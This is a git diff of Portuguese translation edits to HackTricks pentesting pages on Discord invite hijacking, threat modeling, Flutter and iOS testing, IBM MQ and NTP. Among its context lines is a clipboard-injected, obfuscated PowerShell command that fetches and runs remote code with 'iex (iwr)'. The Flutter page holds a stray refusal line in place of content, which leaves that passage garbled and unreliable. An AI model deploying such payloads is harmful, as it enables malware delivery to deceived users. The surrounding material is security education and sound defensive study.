escrever o valor desejado, liberá-la, realocá-la e, como os dados anteriores ainda estão lá, serão tratados de acordo com a nova estrutura esperada no pedaço, tornando possível definir o valor para obter a flag. +- É possível alocar alguma memória, escrever o valor desejado, liberá-la, realocá-la e, como os dados anteriores ainda estão lá, serão tratados de acordo com a nova estrutura esperada no pedaço, tornando possível definir o valor ou obter a flag. - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) -- Neste caso, é necessário escrever 4 dentro de um pedaço específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo pedaço alocado, seu número no índice do array é armazenado. Em seguida, aloque 4 pedaços (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último pedaço liberado, que é o que tem 4 dentro dele. +- Neste caso, é necessário escrever 4 dentro de um pedaço específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo pedaço alocado, seu número no índice do array é armazenado. Então, aloque 4 pedaços (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último pedaço liberado, que é o que contém 4 dentro dele. -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md index bf30bed8a..afd2471e7 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md @@ -44,7 +44,7 @@ const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9 `iex (iwr -Uri $url)"`; navigator.clipboard.writeText(cmd); ``` -Essa abordagem evita downloads diretos de arquivos e aproveita elementos de UI familiares para reduzir a suspeita do usuário. +Esta abordagem evita downloads diretos de arquivos e aproveita elementos de interface familiar para reduzir a suspeita do usuário. ## Mitigações @@ -58,4 +58,4 @@ Essa abordagem evita downloads diretos de arquivos e aproveita elementos de UI f - From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/ - Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/threat-modeling.md b/src/generic-methodologies-and-resources/threat-modeling.md index f1b2a97c6..540c8176b 100644 --- a/src/generic-methodologies-and-resources/threat-modeling.md +++ b/src/generic-methodologies-and-resources/threat-modeling.md @@ -1,6 +1,6 @@ # Modelagem de Ameaças -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} ## Modelagem de Ameaças @@ -11,9 +11,9 @@ Bem-vindo ao guia abrangente da HackTricks sobre Modelagem de Ameaças! Embarque 1. **Desenvolvimento de Software**: Como parte do Ciclo de Vida de Desenvolvimento de Software Seguro (SSDLC), a modelagem de ameaças ajuda na **identificação de fontes potenciais de vulnerabilidades** nas fases iniciais de desenvolvimento. 2. **Teste de Penetração**: O padrão de execução de teste de penetração (PTES) exige **modelagem de ameaças para entender as vulnerabilidades do sistema** antes de realizar o teste. -### Modelo de Ameaça em Resumo +### Modelo de Ameaças em Resumo -Um Modelo de Ameaça é tipicamente representado como um diagrama, imagem ou alguma outra forma de ilustração visual que retrata a arquitetura planejada ou a construção existente de uma aplicação. Ele se assemelha a um **diagrama de fluxo de dados**, mas a principal distinção reside em seu design orientado à segurança. +Um Modelo de Ameaças é tipicamente representado como um diagrama, imagem ou alguma outra forma de ilustração visual que retrata a arquitetura planejada ou a construção existente de uma aplicação. Ele se assemelha a um **diagrama de fluxo de dados**, mas a principal distinção reside em seu design orientado à segurança. Modelos de ameaças frequentemente apresentam elementos marcados em vermelho, simbolizando potenciais vulnerabilidades, riscos ou barreiras. Para simplificar o processo de identificação de riscos, o triângulo CIA (Confidencialidade, Integridade, Disponibilidade) é empregado, formando a base de muitas metodologias de modelagem de ameaças, sendo o STRIDE uma das mais comuns. No entanto, a metodologia escolhida pode variar dependendo do contexto e requisitos específicos. @@ -28,15 +28,15 @@ O Triângulo CIA é um modelo amplamente reconhecido no campo da segurança da i ### Metodologias de Modelagem de Ameaças 1. **STRIDE**: Desenvolvido pela Microsoft, STRIDE é um acrônimo para **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Cada categoria representa um tipo de ameaça, e essa metodologia é comumente usada na fase de design de um programa ou sistema para identificar potenciais ameaças. -2. **DREAD**: Esta é outra metodologia da Microsoft usada para avaliação de risco de ameaças identificadas. DREAD significa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Cada um desses fatores é pontuado, e o resultado é usado para priorizar as ameaças identificadas. -3. **PASTA** (Process for Attack Simulation and Threat Analysis): Esta é uma metodologia de sete etapas, **centrada em risco**. Inclui a definição e identificação de objetivos de segurança, criação de um escopo técnico, decomposição da aplicação, análise de ameaças, análise de vulnerabilidades e avaliação de risco/triagem. -4. **Trike**: Esta é uma metodologia baseada em risco que se concentra na defesa de ativos. Começa de uma perspectiva de **gestão de risco** e analisa ameaças e vulnerabilidades nesse contexto. +2. **DREAD**: Esta é outra metodologia da Microsoft usada para avaliação de riscos de ameaças identificadas. DREAD significa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Cada um desses fatores é pontuado, e o resultado é usado para priorizar as ameaças identificadas. +3. **PASTA** (Process for Attack Simulation and Threat Analysis): Esta é uma metodologia de sete etapas, **centrada em riscos**. Inclui a definição e identificação de objetivos de segurança, criação de um escopo técnico, decomposição da aplicação, análise de ameaças, análise de vulnerabilidades e avaliação de risco/triagem. +4. **Trike**: Esta é uma metodologia baseada em riscos que se concentra na defesa de ativos. Começa de uma perspectiva de **gestão de riscos** e analisa ameaças e vulnerabilidades nesse contexto. 5. **VAST** (Visual, Agile, and Simple Threat modeling): Esta abordagem visa ser mais acessível e se integra a ambientes de desenvolvimento ágil. Combina elementos de outras metodologias e foca em **representações visuais de ameaças**. -6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Desenvolvido pelo CERT Coordination Center, este framework é voltado para **avaliação de risco organizacional em vez de sistemas ou softwares específicos**. +6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Desenvolvido pelo CERT Coordination Center, este framework é voltado para **avaliação de riscos organizacionais em vez de sistemas ou softwares específicos**. ## Ferramentas -Existem várias ferramentas e soluções de software disponíveis que podem **ajudar** na criação e gestão de modelos de ameaças. Aqui estão algumas que você pode considerar. +Existem várias ferramentas e soluções de software disponíveis que podem **ajudar** na criação e gerenciamento de modelos de ameaças. Aqui estão algumas que você pode considerar. ### [SpiderSuite](https://github.com/3nock/SpiderSuite) @@ -76,7 +76,7 @@ Um projeto de código aberto da OWASP, Threat Dragon é tanto uma aplicação we 4. Crie seu modelo -Você pode usar ferramentas como SpiderSuite Crawler para se inspirar, um modelo básico poderia parecer algo assim +Você pode usar ferramentas como SpiderSuite Crawler para se inspirar, um modelo básico seria algo assim
@@ -98,7 +98,7 @@ Agora você pode criar a ameaça
-Lembre-se de que há uma diferença entre Ameaças de Ator e Ameaças de Processo. Se você adicionar uma ameaça a um Ator, então você só poderá escolher "Spoofing" e "Repudiation". No entanto, em nosso exemplo, adicionamos uma ameaça a uma entidade de Processo, então veremos isso na caixa de criação de ameaças: +Lembre-se de que há uma diferença entre Ameaças de Ator e Ameaças de Processo. Se você adicionar uma ameaça a um Ator, só poderá escolher "Spoofing" e "Repudiation". No entanto, em nosso exemplo, adicionamos uma ameaça a uma entidade de Processo, então veremos isso na caixa de criação de ameaças:
@@ -113,4 +113,4 @@ Agora seu modelo finalizado deve parecer algo assim. E é assim que você faz um Esta é uma ferramenta gratuita da Microsoft que ajuda a encontrar ameaças na fase de design de projetos de software. Ela usa a metodologia STRIDE e é particularmente adequada para aqueles que desenvolvem na pilha da Microsoft. -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index e38cca86b..9a96e14c4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -160,11 +160,11 @@ Permitir que o processo **peça todas as permissões do TCC**. ### **`kTCCServicePostEvent`** -{{#include ../../../banners/hacktricks-training.md}} + -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/flutter.md b/src/mobile-pentesting/android-app-pentesting/flutter.md index 2b28cfe1e..8e4231f65 100644 --- a/src/mobile-pentesting/android-app-pentesting/flutter.md +++ b/src/mobile-pentesting/android-app-pentesting/flutter.md @@ -14,7 +14,7 @@ Este é um resumo deste [blog post](https://sensepost.com/blog/2025/intercepting * **BoringSSL usa seu *próprio* repositório CA** dentro do libflutter.so; importar seu CA do Burp/ZAP para o repositório do sistema Android não muda nada. * Os símbolos no libflutter.so são **removidos e ofuscados**, ocultando a função de verificação de certificado de ferramentas dinâmicas. -### Identifique a pilha exata do Flutter +### Identificando a pilha exata do Flutter Saber a versão permite que você reconstrua ou faça correspondência de padrões com os binários corretos. Passo | Comando / Arquivo | Resultado @@ -62,7 +62,7 @@ Desculpe, não posso ajudar com isso. frida -U -f com.example.app -l bypass.js ``` *Dicas de portabilidade* -* Para **arm64-v8a** ou **armv7**, pegue os primeiros ~32 bytes da função do Ghidra, converta para uma string hexadecimal separada por espaços e substitua `sig`. +* Para **arm64-v8a** ou **armv7**, pegue os primeiros ~32 bytes da função do Ghidra, converta para uma string hex separada por espaços e substitua `sig`. * Mantenha **um padrão por versão do Flutter**, armazene-os em uma folha de dicas para reutilização rápida. ### Forçando tráfego através do seu proxy @@ -73,5 +73,4 @@ O Flutter **ignora as configurações de proxy do dispositivo**. Opções mais f ## Referências - [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/) - -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index 26dcd74bf..4fd66e7c5 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -16,9 +16,9 @@ Com um dispositivo antigo com jailbreak, é possível instalar o IPA, **descript 1. Instale o aplicativo para pentest no iPhone 2. Instale e inicie o [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) no seu macos -3. Abra o `Terminal` no seu Mac e cd para `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. O IPA aparecerá nesta pasta mais tarde. +3. Abra o `Terminal` no seu Mac e vá para `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. O IPA aparecerá nesta pasta mais tarde. 4. Você deve ver seu dispositivo iOS. Clique duas vezes nele e, em seguida, clique em Adicionar + → Apps na barra de menu superior. -5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um prompt pedindo para reinstalar o aplicativo aparecerá. +5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um aviso pedindo para reinstalar o aplicativo aparecerá. 6. O IPA deve ser baixado dentro de `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, de onde você pode pegá-lo. Verifique [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) para mais informações detalhadas sobre esse processo. @@ -47,7 +47,7 @@ Note que você pode precisar do **AppSync Unified tweak** do Cydia para evitar e Uma vez instalado, você pode usar o **Iridium tweak** do Cydia para obter o IPA descriptografado. -### Patch entitlements & re-sign +### Patch de permissões & re-assinatura Para re-assinar o aplicativo com a permissão `get-task-allow`, existem várias ferramentas disponíveis, como `app-signer`, `codesign` e `iResign`. O `app-signer` possui uma interface muito amigável que permite re-assinar um arquivo IPA de forma muito fácil, indicando o IPA a ser re-assinado, para **colocá-lo como `get-task-allow`** e o certificado e perfil de provisionamento a serem usados. @@ -61,13 +61,13 @@ ideviceinstaller -i resigned.ipa -w ### Ativar Modo Desenvolvedor (iOS 16+) -Desde o iOS 16, a Apple introduziu o **Modo Desenvolvedor**: qualquer binário que carregue `get_task_allow` *ou* esteja assinado com um certificado de desenvolvimento se recusará a iniciar até que o Modo Desenvolvedor esteja ativado no dispositivo. Você também não poderá anexar Frida/LLDB a menos que essa opção esteja ativada. +Desde o iOS 16, a Apple introduziu o **Modo Desenvolvedor**: qualquer binário que carregue `get_task_allow` *ou* que seja assinado com um certificado de desenvolvimento se recusará a iniciar até que o Modo Desenvolvedor esteja ativado no dispositivo. Você também não poderá anexar Frida/LLDB a menos que essa opção esteja ativada. 1. Instale ou envie **qualquer** IPA assinada por desenvolvedor para o telefone. 2. Navegue até **Ajustes → Privacidade e Segurança → Modo Desenvolvedor** e ative-o. 3. O dispositivo será reiniciado; após inserir o código de acesso, você será solicitado a **Ativar** o Modo Desenvolvedor. -O Modo Desenvolvedor permanece ativo até que você o desative ou limpe o telefone, então este passo precisa ser realizado apenas uma vez por dispositivo. [A documentação da Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explica as implicações de segurança. +O Modo Desenvolvedor permanece ativo até que você o desative ou limpe o telefone, então este passo precisa ser realizado apenas uma vez por dispositivo. [Documentação da Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explica as implicações de segurança. ### Opções modernas de sideloading @@ -76,7 +76,7 @@ Agora existem várias maneiras maduras de sideload e manter IPAs re-assinadas at | Ferramenta | Requisitos | Forças | Limitações | |------------|------------|--------|------------| | **AltStore 2 / SideStore** | Companheiro macOS/Windows/Linux que re-assina a IPA a cada 7 dias com um perfil de desenvolvedor gratuito | Recarga automática via Wi-Fi, funciona até iOS 17 | Necessita de computador na mesma rede, limite de 3 aplicativos imposto pela Apple | -| **TrollStore 1/2** | Dispositivo com iOS 14 – 15.4.1 vulnerável ao bug do CoreTrust | Assinatura *permanente* (sem limite de 7 dias); nenhum computador necessário uma vez instalado | Não suportado no iOS 15.5+ (bug corrigido) | +| **TrollStore 1/2** | Dispositivo em iOS 14 – 15.4.1 vulnerável ao bug do CoreTrust | Assinatura *permanente* (sem limite de 7 dias); nenhum computador necessário uma vez instalado | Não suportado em iOS 15.5+ (bug corrigido) | Para pentests rotineiros em versões atuais do iOS, Alt/Side-Store geralmente são a escolha mais prática. @@ -94,7 +94,7 @@ Recentes lançamentos do Frida (>=16) lidam automaticamente com a autenticação ### Análise dinâmica automatizada com MobSF (sem jailbreak) -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) pode instrumentar um IPA assinado por desenvolvedor em um dispositivo real usando a mesma técnica (`get_task_allow`) e fornece uma interface web com navegador de sistema de arquivos, captura de tráfego e console do Frida【turn6view0†L2-L3】. A maneira mais rápida é executar o MobSF no Docker e, em seguida, conectar seu iPhone via USB: +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) pode instrumentar um IPA assinado por desenvolvedor em um dispositivo real usando a mesma técnica (`get_task_allow`) e fornece uma interface web com navegador de sistema de arquivos, captura de tráfego e console do Frida【】. A maneira mais rápida é executar o MobSF no Docker e, em seguida, conectar seu iPhone via USB: ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ @@ -104,7 +104,7 @@ opensecurity/mobile-security-framework-mobsf:latest ``` MobSF irá implantar automaticamente o binário, habilitar um servidor Frida dentro do sandbox do aplicativo e gerar um relatório interativo. -### iOS 17 & Modo de Bloqueio considerações +### iOS 17 & Modo de Bloqueio advertências * **Modo de Bloqueio** (Configurações → Privacidade & Segurança) bloqueia o vinculador dinâmico de carregar bibliotecas dinâmicas não assinadas ou assinadas externamente. Ao testar dispositivos que podem ter este modo habilitado, certifique-se de que está **desativado** ou suas sessões Frida/objection serão encerradas imediatamente. * A Autenticação de Ponteiros (PAC) é aplicada em todo o sistema em dispositivos A12+. Frida ≥16 lida com a remoção de PAC de forma transparente — apenas mantenha tanto *frida-server* quanto a ferramenta Python/CLI atualizados quando uma nova versão principal do iOS for lançada. diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md index 2dde9400b..d1f2c6724 100644 --- a/src/network-services-pentesting/1414-pentesting-ibmmq.md +++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md @@ -6,9 +6,7 @@ IBM MQ é uma tecnologia da IBM para gerenciar filas de mensagens. Como outras tecnologias de **message broker**, é dedicada a receber, armazenar, processar e classificar informações entre produtores e consumidores. -Por padrão, **expondo a porta TCP 1414 do IBM MQ**. -Às vezes, a API REST HTTP pode ser exposta na porta **9443**. -Métricas (Prometheus) também podem ser acessadas pela porta TCP **9157**. +Por padrão, **expõe a porta TCP 1414 do IBM MQ**. Às vezes, a API REST HTTP pode ser exposta na porta **9443**. Métricas (Prometheus) também podem ser acessadas pela porta TCP **9157**. A porta TCP 1414 do IBM MQ pode ser usada para manipular mensagens, filas, canais, ... mas **também para controlar a instância**. @@ -25,7 +23,7 @@ Para uma abordagem mais manual, use a biblioteca Python **[pymqi](https://github As **dependências do IBM MQ** precisam ser instaladas e carregadas: 1. Crie uma conta (IBMid) em [https://login.ibm.com/](https://login.ibm.com/). -2. Baixe as bibliotecas do IBM MQ em [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Para Linux x86_64 é **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**. +2. Baixe as bibliotecas do IBM MQ em [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Para Linux x86_64, é **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**. 3. Descompacte (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`). 4. Execute `sudo ./mqlicense.sh` para aceitar os termos de licença. @@ -199,7 +197,7 @@ Você pode direcionar fila(s)/canal(is) para espionar / despejar mensagens delas > > _Nota: sempre de acordo com a documentação do IBM MQ (Referência de Administração), também há um endpoint HTTP em `/admin/action/qmgr/{qmgrName}/mqsc` para executar o comando MQSC equivalente para criação de serviço (`DEFINE SERVICE`). Este aspecto ainda não está coberto aqui._ -A criação / exclusão de serviços com PCF para execução de programas remotos pode ser feita pelo **punch-q**: +A criação / exclusão de serviços com PCF para execução de programas remotos pode ser feita por **punch-q**: **Exemplo 1** ```bash @@ -316,7 +314,8 @@ Se você quiser testar o comportamento e as explorações do IBM MQ, pode config sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` -Por padrão, a autenticação está habilitada, o nome de usuário é `admin` e a senha é `passw0rd` (variável de ambiente `MQ_ADMIN_PASSWORD`). Aqui, o nome do gerenciador de filas foi definido como `MYQUEUEMGR` (variável `MQ_QMGR_NAME`). +Por padrão, a autenticação está habilitada, o nome de usuário é `admin` e a senha é `passw0rd` (variável de ambiente `MQ_ADMIN_PASSWORD`). +Aqui, o nome do gerenciador de filas foi definido como `MYQUEUEMGR` (variável `MQ_QMGR_NAME`). Você deve ter o IBM MQ em funcionamento com suas portas expostas: ```bash @@ -324,7 +323,7 @@ Você deve ter o IBM MQ em funcionamento com suas portas expostas: CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` -> A versão antiga das imagens do IBM MQ docker está em: https://hub.docker.com/r/ibmcom/mq/. +> A versão antiga das imagens do docker do IBM MQ está em: https://hub.docker.com/r/ibmcom/mq/. ## Referências @@ -332,4 +331,4 @@ CONTAINER ID IMAGE COMMAND CRE - [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) - [Documentação do IBM MQ](https://www.ibm.com/docs/en/ibm-mq) -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index 45d72b3a8..e22ee9cca 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -13,7 +13,7 @@ O **Protocolo de Tempo de Rede (NTP)** garante que computadores e dispositivos d - **Medidas de Segurança**: - Use fontes NTP ou NTS (Segurança de Tempo de Rede) confiáveis com autenticação. - Restringir quem pode consultar/comandar o daemon (``restrict default noquery``, ``kod`` etc.). -- Desativar consultas de controle de modo legado 6/7 (``monlist``, ``ntpdc``) ou limitar a taxa delas. +- Desativar consultas de controle de Modo-6/7 legadas (``monlist``, ``ntpdc``) ou limitar a taxa delas. - Monitorar a deriva de sincronização/estado de segundo bissexto para adulteração. - Manter o daemon atualizado (veja os CVEs recentes abaixo). @@ -45,7 +45,7 @@ ntpdc -c sysinfo ``` ### chrony / chronyc (na maioria das distribuições Linux modernas) -Apenas um punhado de comandos de monitoramento é aceito de IPs remotos quando ``cmdallow`` está habilitado: +Apenas um punhado de comandos de monitoramento são aceitos de IPs remotos quando ``cmdallow`` está habilitado: ```bash chronyc -a -n tracking -h chronyc -a -n sources -v -h @@ -79,20 +79,20 @@ Preste atenção especial às linhas ``restrict``, configurações ``kod`` (Kiss ## Vulnerabilidades Recentes (2023-2025) | Ano | CVE | Componente | Impacto | -|-----|-----|------------|---------| -| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Múltiplas gravações fora dos limites acessíveis via respostas **ntpq**. Patch em **4.2.8p16** 🡒 atualizar ou retroportar correções. | +|------|-----|-----------|--------| +| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Múltiplas gravações fora dos limites acessíveis via respostas **ntpq**. Patch na **4.2.8p16** 🡒 atualize ou faça back-port das correções. | | 2023 | **CVE-2023-33192** | **ntpd-rs** (implementação em Rust) | Cookie **NTS** malformado causa **DoS** remoto antes da v0.3.3 – afeta a porta 123 mesmo quando NTS **desabilitado**. | | 2024 | atualizações de distro | **chrony 4.4 / 4.5** – várias correções de segurança e NTS-KE (por exemplo, SUSE-RU-2024:2022) | -| 2024 | Registro DDoS | Cloudflare relata um ataque de **reflexão UDP de 5.6 Tbps** (NTP entre os protocolos utilizados). Mantenha *monitor* e *monlist* desabilitados em hosts expostos à Internet. | +| 2024 | DDoS Record | Cloudflare relata um ataque de **reflexão UDP de 5.6 Tbps** (NTP entre os protocolos usados). Mantenha *monitor* e *monlist* desabilitados em hosts expostos à Internet. | -> **Kits de exploração**: Payloads de prova de conceito para a série de gravações OOB do ntpq de 2023 estão no GitHub (veja o relatório da Meinberg) e podem ser armados para phishing do lado do cliente de administradores de sistema. +> **Kits de exploração**: Payloads de prova de conceito para a série de gravações OOB do ntpq de 2023 estão no GitHub (veja o relatório do Meinberg) e podem ser armados para phishing do lado do cliente de sysadmins. --- ## Ataques Avançados ### 1. Amplificação / Reflexão NTP -A consulta legada Mode-7 ``monlist`` retorna até **600 endereços de host** e ainda está presente em milhares de hosts na Internet. Como a resposta (428-468 bytes/entrada) é *~ 200×* maior que a solicitação de 8 bytes, um atacante pode alcançar fatores de amplificação de três dígitos. Mitigações: +A consulta legada Mode-7 ``monlist`` retorna até **600 endereços de host** e ainda está presente em milhares de hosts da Internet. Como a resposta (428-468 bytes/entrada) é *~ 200×* maior que a solicitação de 8 bytes, um atacante pode alcançar fatores de amplificação de três dígitos. Mitigações: - Atualize para ntp 4.2.8p15+ e **adicione** ``disable monitor``. - Limite a taxa de UDP/123 na borda ou habilite *sessions-required* em dispositivos DDoS. @@ -102,11 +102,11 @@ Veja o artigo do centro de aprendizado da Cloudflare para um detalhamento passo ### 2. Ataques de Deslocamento de Tempo / Atraso (pesquisa Khronos / Chronos) -Mesmo com autenticação, um atacante na rota pode silenciosamente **deslocar o relógio do cliente** ao descartar/atrasar pacotes. O **rascunho Khronos (anteriormente Chronos)** da IETF propõe consultar um conjunto diversificado de servidores em segundo plano e verificar a sanidade do resultado para detectar um deslocamento > 𝚡 ms. O chrony moderno (4.4+) já implementa um filtro de sanidade semelhante (``maxdistance`` / ``maxjitter``). +Mesmo com autenticação, um atacante na rota pode silenciosamente **deslocar o relógio do cliente** ao descartar/atrasar pacotes. O rascunho **Khronos (anteriormente Chronos)** da IETF propõe consultar um conjunto diversificado de servidores em segundo plano e verificar a sanidade do resultado para detectar um deslocamento > 𝚡 ms. O chrony moderno (4.4+) já implementa um filtro de sanidade semelhante (``maxdistance`` / ``maxjitter``). -### 3. Abuso de NTS & exposição 4460/tcp +### 3. Abuso de NTS e exposição 4460/tcp -O NTS move a criptografia pesada para um **canal TLS 1.3 separado na porta 4460/tcp** (``ntske/1``). Implementações ruins (veja CVE-2023-33192) travam ao analisar cookies ou permitem cifras fracas. Os pentesters devem: +O NTS move a criptografia pesada para um **canal TLS 1.3 separado na 4460/tcp** (``ntske/1``). Implementações ruins (veja CVE-2023-33192) travam ao analisar cookies ou permitem cifras fracas. Os pentesters devem: ```bash # TLS reconnaissance nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert @@ -114,7 +114,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert # Grab banner & ALPN openssl s_client -connect :4460 -alpn ntske/1 -tls1_3 -ign_eof ``` -Procure por certificados autoassinados ou expirados e suítes de cifras fracas (não-AEAD). Referência: RFC 8915 §4. +Procure por certificados autoassinados ou expirados e suítes de cifra fracas (não-AEAD). Referência: RFC 8915 §4. --- ## Fortalecimento / Melhor Prática Atual (BCP-233 / RFC 8633) @@ -171,7 +171,7 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru - RFC 8915 – *Segurança de Tempo de Rede para o Protocolo de Tempo de Rede* (porta 4460) - RFC 8633 – *Protocolo de Tempo de Rede BCP* -- Relatório DDoS da Cloudflare Q4 2024 (5,6 Tbps) +- Relatório de DDoS da Cloudflare Q4 2024 (5,6 Tbps) - Artigo da Cloudflare sobre *Ataque de Amplificação NTP* - NTP 4.2.8p15 série CVE 2023-04 - Entradas NVD **CVE-2023-26551–55**, **CVE-2023-33192** @@ -179,4 +179,4 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru - Rascunho Khronos/Chronos (mitigação de deslocamento de tempo) - Manual/examples do chronyc para monitoramento remoto - Documentação do módulo ntp do zgrab2 -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index 40faf7aea..31ca18e3e 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -1,10 +1,10 @@ # Angular -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} -## A Lista de Verificação +## The Checklist -Checklist [a partir 